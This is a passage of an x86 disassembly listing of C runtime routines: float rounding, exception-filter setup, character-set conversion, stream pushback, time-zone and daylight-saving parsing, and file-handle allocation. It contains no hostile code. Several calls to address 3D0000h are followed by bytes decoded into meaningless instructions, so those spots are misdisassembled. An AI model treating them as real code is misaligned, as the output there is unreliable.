sub_418590+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_418503 pop ecx pop ecx loc_4186BC: ; CODE XREF: sub_418590+55j xor eax, eax loc_4186BE: ; CODE XREF: sub_418590+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4186ED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4186F7 ; --------------------------------------------------------------------------- loc_4186ED: ; CODE XREF: sub_418590+14Ej cmp edi, 20h jnz short loc_4186F7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4186F7: ; CODE XREF: sub_418590+15Bj ; sub_418590+160j pop edi pop esi pop ebx leave retn sub_418590 endp ; =============== S U B R O U T I N E ======================================= sub_4186FC proc near ; CODE XREF: sub_418728+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_42EB10 push [esp+4+arg_4] push [esp+8+arg_0] call sub_418590 add esp, 0Ch retn sub_4186FC endp ; =============== S U B R O U T I N E ======================================= sub_418712 proc near ; CODE XREF: sub_418755+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_42EB28 push [esp+4+arg_4] push [esp+8+arg_0] call sub_418590 add esp, 0Ch retn sub_418712 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418728 proc near ; CODE XREF: sub_414A2B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4198E0 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4186FC add esp, 24h leave retn sub_418728 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418755 proc near ; CODE XREF: sub_414A2B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4198E0 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_418712 add esp, 24h leave retn sub_418755 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418782 proc near ; CODE XREF: sub_414A69+65p ; sub_414B6D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4187BF mov [ebp+arg_0], ebx xor ebx, ebx loc_4187A5: ; CODE XREF: sub_418782+38j mov dl, [ecx] test dl, dl jz short loc_4187B1 movsx edx, dl inc ecx jmp short loc_4187B4 ; --------------------------------------------------------------------------- loc_4187B1: ; CODE XREF: sub_418782+27j push 30h pop edx loc_4187B4: ; CODE XREF: sub_418782+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4187A5 mov edx, [ebp+arg_8] loc_4187BF: ; CODE XREF: sub_418782+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4187D8 cmp byte ptr [ecx], 35h jl short loc_4187D8 loc_4187CB: ; CODE XREF: sub_418782+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4187D6 mov byte ptr [eax], 30h jmp short loc_4187CB ; --------------------------------------------------------------------------- loc_4187D6: ; CODE XREF: sub_418782+4Dj inc byte ptr [eax] loc_4187D8: ; CODE XREF: sub_418782+42j ; sub_418782+47j cmp byte ptr [esi], 31h jnz short loc_4187E2 inc dword ptr [edx+4] jmp short loc_4187F4 ; --------------------------------------------------------------------------- loc_4187E2: ; CODE XREF: sub_418782+59j push edi call sub_410B60 inc eax push eax push edi push esi call sub_4112D0 add esp, 10h loc_4187F4: ; CODE XREF: sub_418782+5Ej pop edi pop esi pop ebx pop ebp retn sub_418782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187F9 proc near ; CODE XREF: sub_414A69+3Fp ; sub_414B6D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41885D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_45FA10 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_419DB1 mov ds:dword_45FA38, eax add esp, 18h movsx eax, ds:byte_45FA12 mov ds:dword_45FA30, eax pop edi movsx eax, ds:word_45FA10 mov ds:dword_45FA34, eax mov ds:dword_45FA3C, offset dword_45FA14 mov eax, offset dword_45FA30 pop esi leave retn sub_4187F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41885D proc near ; CODE XREF: sub_4187F9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4188AB cmp ebx, edi jz short loc_4188A4 lea edi, [ecx+3C00h] jmp short loc_4188CC ; --------------------------------------------------------------------------- loc_4188A4: ; CODE XREF: sub_41885D+3Dj mov edi, 7FFFh jmp short loc_4188CC ; --------------------------------------------------------------------------- loc_4188AB: ; CODE XREF: sub_41885D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4188C3 cmp edx, ebx jnz short loc_4188C3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41890E ; --------------------------------------------------------------------------- loc_4188C3: ; CODE XREF: sub_41885D+52j ; sub_41885D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4188CC: ; CODE XREF: sub_41885D+45j ; sub_41885D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4188E4: ; CODE XREF: sub_41885D+A6j test ecx, esi jnz short loc_418905 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4188E4 ; --------------------------------------------------------------------------- loc_418905: ; CODE XREF: sub_41885D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41890E: ; CODE XREF: sub_41885D+64j pop edi pop esi pop ebx leave retn sub_41885D endp ; --------------------------------------------------------------------------- push 2 call sub_412ADE pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41891C proc near ; DATA XREF: seg000:loc_418962o ; seg002:0042E4E0o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41893F cmp dword ptr [eax+10h], 3 jnz short loc_41893F cmp dword ptr [eax+14h], 19930520h jnz short loc_41893F jmp sub_4155EC ; --------------------------------------------------------------------------- loc_41893F: ; CODE XREF: sub_41891C+Dj ; sub_41891C+13j ... mov eax, ds:dword_45FA40 test eax, eax jz short loc_41895C push eax call sub_4189B8 ; CODE XREF: sub_4189B8+Dj test eax, eax pop ecx jz short loc_41895C push esi call ds:dword_45FA40 jmp short loc_41895E ; --------------------------------------------------------------------------- loc_41895C: ; CODE XREF: sub_41891C+2Aj ; sub_41891C+35j xor eax, eax loc_41895E: ; CODE XREF: sub_41891C+3Ej pop esi retn 4 sub_41891C endp ; --------------------------------------------------------------------------- loc_418962: ; DATA XREF: seg002:0041E020o push offset sub_41891C call ds:dword_41C024 ; SetUnhandledExceptionFilter mov ds:dword_45FA40, eax retn ; --------------------------------------------------------------------------- loc_418973: ; DATA XREF: seg002:0041E038o push ds:dword_45FA40 call ds:dword_41C024 ; SetUnhandledExceptionFilter retn ; =============== S U B R O U T I N E ======================================= sub_418980 proc near ; CODE XREF: sub_414E41+6Bp ; sub_415352+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 3D0000h pop ss test eax, eax jz short loc_418998 xor esi, esi loc_418998: ; CODE XREF: sub_418980+14j mov eax, esi pop esi retn sub_418980 endp ; =============== S U B R O U T I N E ======================================= sub_41899C proc near ; CODE XREF: sub_415352+73p ; sub_415352+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 3D0000h sahf test eax, eax jz short loc_4189B4 xor esi, esi loc_4189B4: ; CODE XREF: sub_41899C+14j mov eax, esi pop esi retn sub_41899C endp ; =============== S U B R O U T I N E ======================================= sub_4189B8 proc near ; CODE XREF: sub_415352+15Bp ; sub_41891C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 3D0000h jecxz short near ptr loc_418949+3 sal byte ptr [edx+eax+33h], 0F6h mov eax, esi pop esi retn sub_4189B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4155EC loc_4189D0: ; CODE XREF: sub_4155EC:loc_41563Dj push 0Ah call near ptr sub_417C59 push 16h call sub_41A044 pop ecx pop ecx push 3 call sub_4125D8 ; END OF FUNCTION CHUNK FOR sub_4155EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189E7 proc near ; CODE XREF: sub_41578D+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_418A0A cmp [ebp+arg_8], ebx jz short loc_418A0A mov al, [esi] cmp al, bl jnz short loc_418A10 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_418A0A mov [eax], bx loc_418A0A: ; CODE XREF: sub_4189E7+Cj ; sub_4189E7+11j ... xor eax, eax loc_418A0C: ; CODE XREF: sub_4189E7+42j ; sub_4189E7+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_418A10: ; CODE XREF: sub_4189E7+17j cmp ds:dword_45F8D0, ebx jnz short loc_418A2B mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_418A26 movzx ax, al mov [ecx], ax loc_418A26: ; CODE XREF: sub_4189E7+36j ; sub_4189E7+C0j push 1 pop eax jmp short loc_418A0C ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_4189E7+2Fj mov ecx, ds:off_42E190 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_418A88 mov eax, ds:dword_42E39C cmp eax, 1 jle short loc_418A6F cmp [ebp+arg_8], eax jl short loc_418A79 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push ds:dword_45F8E0 call ds:dword_41C120 ; MultiByteToWideChar test eax, eax mov eax, ds:dword_42E39C jnz short loc_418A0C loc_418A6F: ; CODE XREF: sub_4189E7+5Cj cmp [ebp+arg_8], eax jb short loc_418A79 cmp [esi+1], bl jnz short loc_418A0C loc_418A79: ; CODE XREF: sub_4189E7+61j ; sub_4189E7+8Bj ... mov ds:dword_45F844, 2Ah or eax, 0FFFFFFFFh jmp short loc_418A0C ; --------------------------------------------------------------------------- loc_418A88: ; CODE XREF: sub_4189E7+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push ds:dword_45F8E0 call ds:dword_41C120 ; MultiByteToWideChar test eax, eax jnz loc_418A26 jmp short loc_418A79 sub_4189E7 endp ; =============== S U B R O U T I N E ======================================= sub_418AAF proc near ; CODE XREF: sub_41578D+76p ; sub_41578D+88p ... arg_0 = dword ptr 4 cmp ds:dword_42E39C, 1 jle short loc_418AC6 push 8 push [esp+4+arg_0] call sub_413446 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418AAF+7j mov eax, [esp+arg_0] mov ecx, ds:off_42E190 mov al, [ecx+eax*2] and eax, 8 retn sub_418AAF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_41578D+797p ; sub_41578D+7E7p cmp cl, 40h jnb short loc_418AFA cmp cl, 20h jnb short loc_418AF0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_418AF0: ; CODE XREF: sub_418AE0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_418AFA: ; CODE XREF: sub_418AE0+3j xor eax, eax xor edx, edx retn sub_418AE0 endp ; =============== S U B R O U T I N E ======================================= sub_418AFF proc near ; CODE XREF: sub_416203+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_418B4B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_418B1D test al, 80h jz short loc_418B4B test al, 2 jnz short loc_418B4B loc_418B1D: ; CODE XREF: sub_418AFF+14j cmp dword ptr [esi+8], 0 jnz short loc_418B2A push esi call sub_417F59 pop ecx loc_418B2A: ; CODE XREF: sub_418AFF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_418B3A cmp dword ptr [esi+4], 0 jnz short loc_418B4B inc eax mov [esi], eax loc_418B3A: ; CODE XREF: sub_418AFF+30j test byte ptr [esi+0Ch], 40h jz short loc_418B51 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_418B57 inc eax mov [esi], eax loc_418B4B: ; CODE XREF: sub_418AFF+9j ; sub_418AFF+18j ... or eax, 0FFFFFFFFh loc_418B4E: ; CODE XREF: sub_418AFF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_418B51: ; CODE XREF: sub_418AFF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_418B57: ; CODE XREF: sub_418AFF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_418B4E sub_418AFF endp ; =============== S U B R O U T I N E ======================================= sub_418B6D proc near ; CODE XREF: sub_41623E:loc_41627Dp cmp ds:dword_45FB00, 0 jnz short locret_418B81 call loc_418B82 inc ds:dword_45FB00 locret_418B81: ; CODE XREF: sub_418B6D+7j retn sub_418B6D endp ; --------------------------------------------------------------------------- loc_418B82: ; CODE XREF: sub_418B6D+9p push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov ds:dword_45FA48, ebp mov ds:dword_42EBE8, ebx mov ds:dword_42EBD8, ebx call sub_41A1B6 mov esi, eax pop ecx cmp esi, ebp jnz loc_418CAB push offset dword_45FA50 call near ptr 3D0000h ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- cmp eax, ebx jz loc_418DDA mov eax, ds:dword_45FA50 mov ecx, ds:dword_45FAA4 imul eax, 3Ch cmp ds:word_45FA96, bp push 1 pop edx mov ds:dword_42EB40, eax mov ds:dword_45FA48, edx jz short loc_418BF9 mov esi, ecx imul esi, 3Ch add eax, esi mov ds:dword_42EB40, eax loc_418BF9: ; CODE XREF: seg000:00418BEBj cmp ds:word_45FAEA, bp jz short loc_418C1D mov eax, ds:dword_45FAF8 cmp eax, ebp jz short loc_418C1D sub eax, ecx mov ds:dword_42EB44, edx imul eax, 3Ch mov ds:dword_42EB48, eax jmp short loc_418C29 ; --------------------------------------------------------------------------- loc_418C1D: ; CODE XREF: seg000:00418C00j ; seg000:00418C09j mov ds:dword_42EB44, ebp mov ds:dword_42EB48, ebp loc_418C29: ; CODE XREF: seg000:00418C1Bj lea eax, [esp+10h] mov esi, ds:dword_41C11C push eax push ebp push 3Fh mov edi, 220h push ds:off_42EBCC push ebx push offset dword_45FA54 push edi push ds:dword_45F8E0 call esi ; WideCharToMultiByte test eax, eax jz short loc_418C66 cmp [esp+10h], ebp jnz short loc_418C66 mov eax, ds:off_42EBCC and byte ptr [eax+3Fh], 0 jmp short loc_418C6E ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: seg000:00418C53j ; seg000:00418C59j mov eax, ds:off_42EBCC and byte ptr [eax], 0 loc_418C6E: ; CODE XREF: seg000:00418C64j lea eax, [esp+10h] push eax push ebp push 3Fh push ds:off_42EBD0 push ebx push offset dword_45FAA8 push edi push ds:dword_45F8E0 call esi ; WideCharToMultiByte test eax, eax jz loc_418DD2 cmp [esp+10h], ebp jnz loc_418DD2 mov eax, ds:off_42EBD0 and byte ptr [eax+3Fh], 0 jmp loc_418DDA ; --------------------------------------------------------------------------- loc_418CAB: ; CODE XREF: seg000:00418BAFj cmp byte ptr [esi], 0 jz loc_418DDA mov eax, ds:dword_45FAFC cmp eax, ebp jz short loc_418CCE push eax push esi call sub_410930 pop ecx test eax, eax pop ecx jz loc_418DDA loc_418CCE: ; CODE XREF: seg000:00418CBBj push ds:dword_45FAFC call sub_410C83 push esi call sub_410B60 inc eax push eax call sub_410C0F add esp, 0Ch cmp eax, ebp mov ds:dword_45FAFC, eax jz loc_418DDA push esi push eax call sub_411B70 push 3 push esi push ds:off_42EBCC call sub_411D00 mov eax, ds:off_42EBCC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_418D23 push 1 inc esi pop edi loc_418D23: ; CODE XREF: seg000:00418D1Dj push esi call sub_4109F4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov ds:dword_42EB40, ecx loc_418D3A: ; CODE XREF: seg000:00418D49j mov al, [esi] cmp al, 2Bh jz short loc_418D48 cmp al, bl jl short loc_418D4B cmp al, 39h jg short loc_418D4B loc_418D48: ; CODE XREF: seg000:00418D3Ej inc esi jmp short loc_418D3A ; --------------------------------------------------------------------------- loc_418D4B: ; CODE XREF: seg000:00418D42j ; seg000:00418D46j cmp byte ptr [esi], 3Ah jnz short loc_418D9E inc esi push esi call sub_4109F4 imul eax, 3Ch pop ecx mov ecx, ds:dword_42EB40 add ecx, eax mov ds:dword_42EB40, ecx loc_418D69: ; CODE XREF: seg000:00418D74j mov al, [esi] cmp al, bl jl short loc_418D76 cmp al, 39h jg short loc_418D76 inc esi jmp short loc_418D69 ; --------------------------------------------------------------------------- loc_418D76: ; CODE XREF: seg000:00418D6Dj ; seg000:00418D71j cmp byte ptr [esi], 3Ah jnz short loc_418D9E inc esi push esi call sub_4109F4 pop ecx mov ecx, ds:dword_42EB40 add ecx, eax mov ds:dword_42EB40, ecx loc_418D91: ; CODE XREF: seg000:00418D9Cj mov al, [esi] cmp al, bl jl short loc_418D9E cmp al, 39h jg short loc_418D9E inc esi jmp short loc_418D91 ; --------------------------------------------------------------------------- loc_418D9E: ; CODE XREF: seg000:00418D4Ej ; seg000:00418D79j ... cmp edi, ebp jz short loc_418DAA neg ecx mov ds:dword_42EB40, ecx loc_418DAA: ; CODE XREF: seg000:00418DA0j movsx eax, byte ptr [esi] cmp eax, ebp mov ds:dword_42EB44, eax jz short loc_418DD2 push 3 push esi push ds:off_42EBD0 call sub_411D00 mov eax, ds:off_42EBD0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_418DDA ; --------------------------------------------------------------------------- loc_418DD2: ; CODE XREF: seg000:00418C8Dj ; seg000:00418C97j ... mov eax, ds:off_42EBD0 and byte ptr [eax], 0 loc_418DDA: ; CODE XREF: seg000:00418BC2j ; seg000:00418CA6j ... pop edi pop esi pop ebp pop ebx pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_41623E+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp ds:dword_42EB44, edi jnz short loc_418DF4 loc_418DED: ; CODE XREF: sub_418DE0+148j ; sub_418DE0+150j ... xor eax, eax jmp loc_418F40 ; --------------------------------------------------------------------------- loc_418DF4: ; CODE XREF: sub_418DE0+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, ds:dword_42EBD8 jnz short loc_418E12 cmp eax, ds:dword_42EBE8 jz loc_418F14 loc_418E12: ; CODE XREF: sub_418DE0+24j cmp ds:dword_45FA48, edi jz loc_418EEA movzx ecx, ds:word_45FAF6 push ecx cmp ds:word_45FAE8, di movzx ecx, ds:word_45FAF4 push ecx movzx ecx, ds:word_45FAF2 push ecx movzx ecx, ds:word_45FAF0 push ecx jnz short loc_418E64 movzx ecx, ds:word_45FAEC push edi push ecx movzx ecx, ds:word_45FAEE push ecx movzx ecx, ds:word_45FAEA push ecx push eax push ebx jmp short loc_418E78 ; --------------------------------------------------------------------------- loc_418E64: ; CODE XREF: sub_418DE0+65j movzx ecx, ds:word_45FAEE push ecx push edi movzx ecx, ds:word_45FAEA push edi push ecx push eax push edi loc_418E78: ; CODE XREF: sub_418DE0+82j push ebx call sub_418F8C movzx eax, ds:word_45FAA2 add esp, 2Ch cmp ds:word_45FA94, di push eax movzx eax, ds:word_45FAA0 push eax movzx eax, ds:word_45FA9E push eax movzx eax, ds:word_45FA9C push eax jnz short loc_418ED2 movzx eax, ds:word_45FA98 push edi push eax movzx eax, ds:word_45FA9A push eax movzx eax, ds:word_45FA96 push eax push dword ptr [esi+14h] push ebx loc_418EC7: ; CODE XREF: sub_418DE0+108j push edi call sub_418F8C add esp, 2Ch jmp short loc_418F14 ; --------------------------------------------------------------------------- loc_418ED2: ; CODE XREF: sub_418DE0+C8j movzx eax, ds:word_45FA9A push eax push edi movzx eax, ds:word_45FA96 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_418EC7 ; --------------------------------------------------------------------------- loc_418EEA: ; CODE XREF: sub_418DE0+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_418F8C push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_418F8C add esp, 58h loc_418F14: ; CODE XREF: sub_418DE0+2Cj ; sub_418DE0+F0j mov edx, ds:dword_42EBDC mov eax, ds:dword_42EBEC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_418F44 cmp ecx, edx jl loc_418DED cmp ecx, eax jg loc_418DED cmp ecx, edx jle short loc_418F58 cmp ecx, eax jge short loc_418F58 loc_418F3E: ; CODE XREF: sub_418DE0+166j ; sub_418DE0+16Aj mov eax, ebx loc_418F40: ; CODE XREF: sub_418DE0+Fj ; sub_418DE0+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_418F44: ; CODE XREF: sub_418DE0+144j cmp ecx, eax jl short loc_418F3E cmp ecx, edx jg short loc_418F3E cmp ecx, eax jle short loc_418F58 cmp ecx, edx jl loc_418DED loc_418F58: ; CODE XREF: sub_418DE0+158j ; sub_418DE0+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_418F7F xor ecx, ecx cmp eax, ds:dword_42EBE0 setnl cl loc_418F7B: ; CODE XREF: sub_418DE0+1AAj mov eax, ecx jmp short loc_418F40 ; --------------------------------------------------------------------------- loc_418F7F: ; CODE XREF: sub_418DE0+18Ej xor ecx, ecx cmp eax, ds:dword_42EBF0 setl cl jmp short loc_418F7B sub_418DE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F8C proc near ; CODE XREF: sub_418DE0+99p ; sub_418DE0+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_419027 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_418FB7 shl esi, 2 mov eax, ds:dword_42EBF0[esi] jmp short loc_418FC0 ; --------------------------------------------------------------------------- loc_418FB7: ; CODE XREF: sub_418F8C+1Ej shl esi, 2 mov eax, ds:dword_42EC24[esi] loc_418FC0: ; CODE XREF: sub_418F8C+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_418FFA imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_419004 ; --------------------------------------------------------------------------- loc_418FFA: ; CODE XREF: sub_418F8C+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_419004: ; CODE XREF: sub_418F8C+6Cj cmp [ebp+arg_10], 5 jnz short loc_419042 cmp [ebp+arg_8], 0 jnz short loc_419018 mov esi, ds:dword_42EBF4[esi] jmp short loc_41901E ; --------------------------------------------------------------------------- loc_419018: ; CODE XREF: sub_418F8C+82j mov esi, ds:dword_42EC28[esi] loc_41901E: ; CODE XREF: sub_418F8C+8Aj cmp ecx, esi jle short loc_419042 sub ecx, 7 jmp short loc_419042 ; --------------------------------------------------------------------------- loc_419027: ; CODE XREF: sub_418F8C+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_419038 mov ecx, ds:dword_42EBF0[eax*4] jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_418F8C+A1j mov ecx, ds:dword_42EC24[eax*4] loc_41903F: ; CODE XREF: sub_418F8C+AAj add ecx, [ebp+arg_18] loc_419042: ; CODE XREF: sub_418F8C+7Cj ; sub_418F8C+94j ... cmp [ebp+arg_0], 1 jnz short loc_419073 mov eax, [ebp+arg_1C] mov ds:dword_42EBDC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov ds:dword_42EBD8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_42EBE0, eax jmp short loc_4190C8 ; --------------------------------------------------------------------------- loc_419073: ; CODE XREF: sub_418F8C+BAj mov eax, [ebp+arg_1C] mov ds:dword_42EBEC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, ds:dword_42EB48 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov ds:dword_42EBF0, eax jns short loc_4190AB add eax, 5265C00h dec ecx mov ds:dword_42EBF0, eax jmp short loc_4190BC ; --------------------------------------------------------------------------- loc_4190AB: ; CODE XREF: sub_418F8C+110j mov edx, 5265C00h cmp eax, edx jl short loc_4190C2 sub eax, edx inc ecx mov ds:dword_42EBF0, eax loc_4190BC: ; CODE XREF: sub_418F8C+11Dj mov ds:dword_42EBEC, ecx loc_4190C2: ; CODE XREF: sub_418F8C+126j mov ds:dword_42EBE8, ebx loc_4190C8: ; CODE XREF: sub_418F8C+E5j pop esi pop ebx pop ebp retn sub_418F8C endp ; =============== S U B R O U T I N E ======================================= sub_4190CC proc near ; CODE XREF: sub_4192E6:loc_41945Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_460B60 loc_4190DB: ; CODE XREF: sub_4190CC+48j mov eax, [ecx] test eax, eax jz short loc_419118 lea edx, [eax+100h] loc_4190E7: ; CODE XREF: sub_4190CC+28j cmp eax, edx jnb short loc_419107 test byte ptr [eax+4], 1 jz short loc_4190F6 add eax, 8 jmp short loc_4190E7 ; --------------------------------------------------------------------------- loc_4190F6: ; CODE XREF: sub_4190CC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41915B loc_419107: ; CODE XREF: sub_4190CC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_460C60 jl short loc_4190DB jmp short loc_41915B ; --------------------------------------------------------------------------- loc_419118: ; CODE XREF: sub_4190CC+13j mov esi, 100h push esi call sub_410C0F test eax, eax pop ecx jz short loc_41915B add ds:dword_460C60, 20h lea ecx, ds:460B60h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41913E: ; CODE XREF: sub_4190CC+88j cmp eax, edx jnb short loc_419156 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41913E ; --------------------------------------------------------------------------- loc_419156: ; CODE XREF: sub_4190CC+74j shl edi, 5 mov ebx, edi loc_41915B: ; CODE XREF: sub_4190CC+39j ; sub_4190CC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_4190CC endp ; =============== S U B R O U T I N E ======================================= sub_419161 proc near ; CODE XREF: 